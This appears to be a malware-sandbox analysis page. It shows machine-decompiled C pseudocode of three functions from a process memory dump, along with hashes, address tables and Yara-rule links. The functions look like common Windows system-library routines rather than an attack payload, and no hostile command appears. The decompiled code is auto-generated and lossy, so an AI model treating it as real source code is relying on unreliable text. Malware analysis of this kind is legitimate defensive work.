0x02d96ea5
0x02d96ea9
0x02d96eb1
0x02d96ebf
0x00000000
0x00000000
0x02d96ecf
0x02d96ed3
0x00000000
0x00000000
0x02d96edb
0x02d96ede
0x02d96ee1
0x02d96ee8
0x02d96eeb
0x02d96eed
0x02d96ef0
0x02d96ef4
0x02d96ef8
0x02d96efc
0x00000000
0x00000000
0x02d96f0d
0x02d96f11
0x02d96f32
0x02d96f37
0x02d96f3b
0x02d96f3e
0x02d96f41
0x02d96f46
0x00000000
0x00000000
0x02d96f4c
0x02d96f50
0x02d96f50
0x02d96f54
0x02d96f62
0x02d96f65
0x02d96f6d
0x02d96f7b
0x02d96f7b
0x02d96f93
0x02d96f98
0x02d96fa0
0x02d96fa6
0x02d96fb3
0x02d96fb6
0x02d96fbf
0x02d96fc1
0x02d96fd5
0x02d96fda
0x02d96fda
0x02d96fdd
0x02d96fe2
0x02d96fe7
0x02d96feb
0x02d96fef
0x02d96ff3
0x02d5520c
0x02d5520c
0x02d5520f
0x02d55215
0x02d55234
0x02d5523a
0x02d5523a
0x02d55244
0x02d55245
0x02d55246
0x02d55251
0x02d55251
0x02d96f13
0x02d96f17
0x02d96f17
0x02d96f18
0x02d96f1b
0x02d96f1f
0x02d96f23
0x00000000
0x02d96f28
0x02d55204
0x02d55204
0x02d55208
0x00000000
0x02d55208
0x02d55185
0x02d55188
0x02d5518a
0x02d5518e
0x02d55195
0x02d96db1
0x02d96db5
0x02d96db9
0x02d5519b
0x02d5519b
0x02d5519e
0x02d551a7
0x02d551a9
0x02d551a9
0x02d551b5
0x02d551b8
0x02d551bb
0x02d551be
0x02d551c1
0x02d551c5
0x02d551c9
0x02d551cd
0x02d551cd
0x02d551d8
0x02d551dc
0x02d551e0
0x02d96dcc
0x02d96dd0
0x02d96dd5
0x02d96ddd
0x02d96de1
0x02d96de1
0x02d96de5
0x02d96deb
0x02d96df1
0x02d96df7
0x02d96dfd
0x02d96e01
0x02d96e05
0x02d96e09
0x02d96e0d
0x02d96e11
0x02d96e11
0x02d551eb
0x02d96e1a
0x02d96e1f
0x02d96e21
0x02d96e23
0x00000000
0x02d551f1
0x02d551f1
0x00000000
0x02d551f1

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a610237ea49baddfb32bed29da3df827d6c1c155233b8cd027438d50661644f
Instruction ID: 732f5475b12493101439c4d4e16a8859b7f69aa835029af868c881fd74e2be0a
Opcode Fuzzy Hash: 1a610237ea49baddfb32bed29da3df827d6c1c155233b8cd027438d50661644f
Instruction Fuzzy Hash: B7C112755083808FD755CF28C580A6AFBF1BF88308F148A6EF8998B352D771E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02D2C600, Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E02D2C600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x2e1d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E02D36D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E02D6B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0x2e17b9c; // 0x0
					_t74 = L02D44620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E02D69650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L02D477F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E02D6F3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E02D613C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L02D477F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E02D69650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x02d2c608
0x02d2c615
0x02d2c625
0x02d2c62d
0x02d2c635
0x02d2c640
0x02d2c680
0x02d2c687
0x02d2c688
0x02d2c689
0x02d2c694
0x02d2c694
0x02d2c642
0x02d2c64a
0x02d2c697
0x02d97a25
0x02d97a2b
0x02d97a2e
0x02d97a30
0x02d97bea
0x02d97bea
0x00000000
0x02d97bea
0x02d97a36
0x02d97a43
0x02d97a48
0x02d97a4c
0x02d97a4e
0x00000000
0x00000000
0x02d97a58
0x02d97a5a
0x02d97a5b
0x02d97a5c
0x02d97a5d
0x02d97a63
0x02d97a64
0x02d97a6a
0x02d97a6c
0x02d97a6e
0x02d979cb
0x02d979cb
0x02d979ce
0x02d979d0
0x02d97a98
0x02d97a9b
0x02d97a9b
0x02d97a9e
0x02d97aa1
0x02d97bbe
0x02d97bbe
0x02d97bc0
0x02d97be0
0x02d97be0
0x02d97a01
0x02d97a01
0x02d97a05
0x02d97a07
0x02d97a15
0x02d97a15
0x02d97a1a
0x00000000
0x02d97a1a
0x02d97bc2
0x02d97bc6
0x02d97bc9
0x02d97bcd
0x02d97bcf
0x02d979e6
0x02d979e6
0x02d979eb
0x02d979eb
0x02d979ef
0x02d979f1
0x00000000
0x00000000
0x02d979f3
0x02d979f5
0x02d979ff
0x02d979ff
0x00000000
0x02d979ff
0x02d979f7
0x02d979fd
0x00000000
0x00000000
0x00000000
0x02d979fd
0x02d97bd5
0x02d97bd8
0x00000000
0x00000000
0x02d97ba9
0x02d97bac
0x02d97bb0
0x02d97bb1
0x02d97bb1
0x02d97bb6
0x00000000
0x02d97bb6
0x02d97aa7
0x02d97aaa
0x00000000
0x00000000
0x02d97ab2
0x02d97ab3
0x02d97ab5
0x02d97aec
0x02d97aef
0x02d97b25
0x02d97b28
0x02d97b62
0x02d97b64
0x02d97b8f
0x02d97b92
0x02d97b96
0x02d97b98
0x00000000
0x00000000
0x02d97b9e
0x02d97b9f
0x02d97ba3
0x00000000
0x02d97ba3
0x02d97b66
0x02d97b68
0x02d97ae2
0x02d97ae2
0x00000000
0x02d97ae2
0x02d97b6e
0x02d97b72
0x02d97b75
0x02d97b81
0x02d97b85
0x02d97b87
0x00000000
0x00000000
0x02d97b31
0x02d97b34
0x02d97b3c
0x02d97b45
0x02d97b46
0x02d97b4f
0x02d97b51
0x02d97b57
0x02d97b59
0x02d97b59
0x00000000
0x02d97b59
0x02d97b77
0x00000000
0x02d97b77
0x02d97b2a
0x00000000
0x02d97b2a
0x02d97af1
0x02d97af3
0x00000000
0x00000000
0x02d97afb
0x02d97afc
0x02d97afe
0x00000000
0x00000000
0x02d97b00
0x02d97b03
0x00000000
0x00000000
0x02d97b05
0x02d97b09
0x02d97b0d
0x02d97b0f
0x00000000
0x00000000
0x02d97b18
0x02d97b1d
0x00000000
0x02d97b1d
0x02d97ab7
0x02d97ab9
0x00000000
0x00000000
0x02d97abf
0x02d97ac1
0x00000000
0x00000000
0x02d97ac3
0x02d97ac6
0x00000000
0x00000000
0x02d97ac8
0x02d97acc
0x02d97ad0
0x02d97ad2
0x00000000
0x00000000
0x02d97adb
0x00000000
0x02d97adb
0x02d979d6
0x02d979d9
0x02d979dc
0x02d97a91
0x02d97a94
0x00000000
0x02d97a94
0x02d979e2
0x00000000
0x02d979e2
0x02d97a74
0x02d97a7a
0x00000000
0x00000000
0x02d97a8a
0x02d97a21
0x02d97a21
0x00000000
0x02d97a21
0x02d2c650
0x02d2c651
0x02d2c656
0x02d2c65c
0x02d2c65d
0x02d2c663
0x02d2c664
0x02d2c66a
0x02d2c66e
0x02d979c5
0x02d979c7
0x00000000
0x02d979c7
0x02d2c67a
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6b9f76b0c4b8431f739573c15fd5ab84ccb027ff25654c121fa528dad8abd6d7
Instruction ID: fa88c7c3726cf444b1b0ec627e0169c9604a5bc3f5fa1e6d520edef533a287e5
Opcode Fuzzy Hash: 6b9f76b0c4b8431f739573c15fd5ab84ccb027ff25654c121fa528dad8abd6d7
Instruction Fuzzy Hash: 45818EB56682419FEF25CE14C880B7AF3A5EF88358F15496AFD899B340D330DD44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02DBB8D0, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E02DBB8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0x2e17b9c; // 0x0
				_t124 = L02D44620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E02D69800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E02D695B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E02D695D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L02D477F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E02D69910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
											if(_t83 != 0) {
												_t59 =  &(_t124[5]); // 0x14
												if(_t83 != _t59) {
													L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t83);
												}
											}
											_push( *_t124);
											E02D695D0();
											goto L33;
										}
										 *_a16 = _t124;
										return 0;
									}
									if(_t108 != 1) {
										_t122 = 0;
										goto L40;
									}
									_t122 = 0xc0000061;
									goto L29;
								} else {
									goto L22;
								}
								while(1) {
									L22:
									_t89 =  *0x2e17b9c; // 0x0
									_t92 = L02D44620(_t112,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t89 + 0x140000, _v8);
									_t124[2] = _t92;
									if(_t92 == 0) {
										break;
									}
									_t112 =  &_v8;
									_push( &_v8);
									_push(_t92);
									_push(_v8);
									_push(_t124[3]);
									_push(0);
									_push( *_t124);
									_t122 = E02D69910();
									if(_t122 != 0xc0000023) {
										goto L26;
									}
									L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t124[2]);
								}
								_t122 = 0xc0000017;
								goto L26;
							}
							_t119 = 0;
							do {
								_t114 = _t124[3];
								_t119 = _t119 + 0xc;
								 *((intOrPtr*)(_t114 + _t119 - 8)) =  *((intOrPtr*)(_a4 + _t123 * 4));
								 *(_t114 + _t119 - 4) =  *(_t114 + _t119 - 4) & 0x00000000;
								_t123 = _t123 + 1;
								 *((intOrPtr*)(_t124[3] + _t119)) = 2;
							} while (_t123 < _t108);
							goto L21;
						}
						_push(0x28);
						_push(3);
						_t122 = E02D2A7B0();
						if(_t122 < 0) {
							goto L33;
						}
						_t124[4] = _t124[4] | 0x00000001;
						goto L18;
					}
					if((_t106 & 0x00000001) == 0) {
						_t115 = 0x28;
						_t122 = E02DBE7D3(_t115, _t124);
						if(_t122 < 0) {
							L9:
							_push(_t124);
							_push(0);
							_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
							goto L37;
						}
						L12:
						if( *_t124 != 0) {
							goto L18;
						}
						goto L13;
					}
					_t15 =  &(_t124[1]); // 0x4
					_t117 = 4;
					_t122 = E02DBE7D3(_t117, _t15);
					if(_t122 >= 0) {
						_t124[4] = _t124[4] | 0x00000001;
						_v12 = _v12 & 0x00000000;
						_push(4);
						_push( &_v12);
						_push(5);
						_push(0xfffffffe);
						E02D695B0();
						goto L12;
					}
					goto L9;
				} else {
					return 0xc0000017;
				}
			}

0x02dbb8d9
0x02dbb8e4
0x00000000
0x02dbb8e6
0x02dbb8f3
0x02dbb8f5
0x02dbb8f5
0x02dbb8f8
0x02dbb920
0x02dbb924
0x02dbb936
0x02dbb939
0x02dbb93d
0x02dbb948
0x02dbb9a0
0x02dbb9a0
0x02dbb9a4
0x02dbb9bf
0x02dbb9c4
0x02dbb9c6
0x02dbb9cd
0x02dbb9d1
0x02dbbad4
0x02dbbad8
0x02dbbada
0x02dbbadc
0x02dbbadc
0x02dbbadf
0x02dbbae0
0x02dbbae2
0x02dbbae4
0x02dbbaec
0x02dbbaee
0x02dbbaf0
0x02dbbaf0
0x02dbbaec
0x02dbbafb
0x02dbbafc
0x02dbbafe
0x02dbbb01
0x02dbbb01
0x00000000
0x02dbbb06
0x02dbb9d7
0x02dbb9db
0x02dbb9db
0x02dbb9de
0x02dbb9de
0x02dbb9e4
0x02dbb9e7
0x02dbb9ea
0x02dbb9ec
0x02dbb9ef
0x02dbb9f3
0x02dbba1b
0x02dbba1b
0x02dbba23
0x02dbba24
0x02dbba27
0x02dbba2a
0x02dbba2b
0x02dbba2e
0x02dbba30
0x02dbba37
0x02dbba3f
0x02dbba9c
0x02dbbaa2
0x02dbbb13
0x02dbbb15
0x02dbbaae
0x02dbbaae
0x02dbbab3
0x02dbbab5
0x02dbbaba
0x02dbbac8
0x02dbbac8
0x02dbbaba
0x02dbbacd
0x02dbbacf
0x00000000
0x02dbbacf
0x02dbbb1a
0x00000000
0x02dbbb1c
0x02dbbaa7
0x02dbbb11
0x00000000
0x02dbbb11
0x02dbbaa9
0x00000000
0x00000000
0x00000000
0x00000000
0x02dbba41
0x02dbba41
0x02dbba41
0x02dbba58
0x02dbba5d
0x02dbba62
0x00000000
0x00000000
0x02dbba64
0x02dbba67
0x02dbba68
0x02dbba69
0x02dbba6c
0x02dbba6f
0x02dbba71
0x02dbba78
0x02dbba80
0x00000000
0x00000000
0x02dbba90
0x02dbba90
0x02dbba97
0x00000000
0x02dbba97
0x02dbb9f5
0x02dbb9f7
0x02dbb9f7
0x02dbb9fa
0x02dbba03
0x02dbba07
0x02dbba0c
0x02dbba10
0x02dbba17
0x00000000
0x02dbb9f7
0x02dbb9a6
0x02dbb9a8
0x02dbb9af
0x02dbb9b3
0x00000000
0x00000000
0x02dbb9b9
0x00000000
0x02dbb9b9
0x02dbb94d
0x02dbb98f
0x02dbb995
0x02dbb999
0x02dbb960
0x02dbb967
0x02dbb968
0x02dbb96a
0x00000000
0x02dbb96a
0x02dbb99b
0x02dbb99e
0x00000000
0x00000000
0x00000000
0x02dbb99e
0x02dbb951
0x02dbb954
0x02dbb95a
0x02dbb95e
0x02dbb972
0x02dbb979
0x02dbb97d
0x02dbb97f
0x02dbb980
0x02dbb982
0x02dbb984
0x00000000
0x02dbb984
0x00000000
0x02dbb926
0x00000000
0x02dbb926

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f9e038436af12988ae7d67a5a1a32fd6e2105b113893bf58ac84d67bda435ba
Instruction ID: 0f6b08f38336265a36c4a3d4b1f97609a30ad79062071c74b161c084d4492e9e
Opcode Fuzzy Hash: 7f9e038436af12988ae7d67a5a1a32fd6e2105b113893bf58ac84d67bda435ba
Instruction Fuzzy Hash: 18710232600701EFDB32CF15C864FA6B7A6EF44728F10492AEA56877A0DBB0ED44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02D252A5, Relevance: .2, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E02D252A5(char __ecx) {
				char _v20;
				char _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v64;
				void* __ebx;
				intOrPtr* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				intOrPtr* _t102;
				intOrPtr* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					E02D3EEF0(0x2e179a0);
					_t104 =  *0x2e18210; // 0x2e1ea0
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					_t2 = _t104 + 8; // 0x28000000
					 *((intOrPtr*)(_t108 + 0x18)) =  *_t2;
					E02D3EB70(_t93, 0x2e179a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_t10 = _t104 + 4; // 0x0
							_push( *_t10);
							_t53 = E02D69890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									E02D3EEF0(0x2e179a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E02D3EB70(0, 0x2e179a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t11 = _t104 + 0xe; // 0x2e1eb802
								_t13 = _t104 + 0xc; // 0x2e1ead
								_t93 = _t13;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E02D5F0BF(_t13,  *_t11 & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									E02D3EEF0(0x2e179a0);
									__eflags =  *0x2e18210 - _t104; // 0x2e1ea0
									if(__eflags == 0) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x2e18210 = _t102;
										_t32 = _t102 + 0xc; // 0x0
										 *_t95 =  *_t32;
										_t33 = _t102 + 0x10; // 0x0
										 *((intOrPtr*)(_t95 + 4)) =  *_t33;
										_t35 = _t102 + 4; // 0xffffffff
										 *((intOrPtr*)(_t95 + 8)) =  *_t35;
										if(__eflags != 0) {
											_t37 = _t104 + 0x10; // 0x20002e1e
											_t95 =  *((intOrPtr*)( *_t37));
											E02DA4888(_t89,  *((intOrPtr*)( *_t37)), __eflags);
										}
										E02D3EB70(_t95, 0x2e179a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_t38 = _t104 + 4; // 0x0
											_push( *_t38);
											E02D695D0();
											L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_t41 = _t104 + 4; // 0x0
											_push( *_t41);
											E02D695D0();
											L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
											_t102 =  *((intOrPtr*)(_t108 + 0x10));
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E02D3EB70(_t93, 0x2e179a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_t25 = _t104 + 4; // 0x0
										_push( *_t25);
										E02D695D0();
										L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t104);
										_t102 =  *((intOrPtr*)(_t108 + 0x10));
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_t28 = _t102 + 4; // 0xffffffff
										_push( *_t28);
										E02D695D0();
										L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t102);
									}
									continue;
								}
								_t15 = _t104 + 0x10; // 0x20002e1e
								_t93 =  &_v20;
								_t17 = _t104 + 0xe; // 0x2e1eb802
								 *((intOrPtr*)(_t108 + 0x20)) =  *_t15;
								_t85 = 6;
								_v20 = _t85;
								_t87 = E02D5F0BF( &_v20,  *_t17 & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x02d252a5
0x02d252ad
0x02d252b0
0x02d252b3
0x02d252b7
0x02d252ba
0x02d252bf
0x02d252c4
0x02d252cc
0x00000000
0x00000000
0x02d252ce
0x02d252d1
0x02d252d9
0x02d252dd
0x02d252e7
0x02d252f7
0x02d252f9
0x02d252fd
0x02d80dcf
0x02d80dd5
0x02d80dd6
0x02d80dd7
0x02d80dd8
0x02d80dd9
0x02d80dde
0x02d80ddf
0x02d80de0
0x02d80de1
0x02d80de2
0x02d80de2
0x02d80de5
0x02d80dea
0x02d80dec
0x02d80f60
0x02d80f64
0x02d80f70
0x02d80f76
0x02d80f79
0x02d80f79
0x00000000
0x02d80f64
0x02d80df2
0x02d80df7
0x02d80e04
0x02d80e04
0x02d80e0d
0x02d80e0d
0x02d80e10
0x02d80e1a
0x02d80e1c
0x02d80e4c
0x02d80e52
0x02d80e61
0x02d80e67
0x02d80e6b
0x02d80e70
0x02d80e76
0x02d80ed7
0x02d80edc
0x02d80ee0
0x02d80ee6
0x02d80eea
0x02d80eed
0x02d80ef0
0x02d80ef3
0x02d80ef6
0x02d80ef9
0x02d80efb
0x02d80efe
0x02d80f01
0x02d80f01
0x02d80f0b
0x02d80f12
0x02d80f16
0x02d80f18
0x02d80f18
0x02d80f1b
0x02d80f2c
0x02d80f31
0x02d80f31
0x02d80f35
0x02d80f39
0x02d80f3a
0x02d80f3c
0x02d80f3c
0x02d80f3f
0x02d80f50
0x02d80f55
0x02d80f55
0x02d80f59
0x02d252eb
0x02d252f1
0x02d252f1
0x02d80e7d
0x02d80e84
0x02d80e88
0x02d80e8a
0x02d80e8a
0x02d80e8d
0x02d80e9e
0x02d80ea3
0x02d80ea3
0x02d80ea7
0x02d80eaf
0x02d80eb3
0x02d80eb9
0x02d80eb9
0x02d80ebc
0x02d80ecd
0x02d80ecd
0x00000000
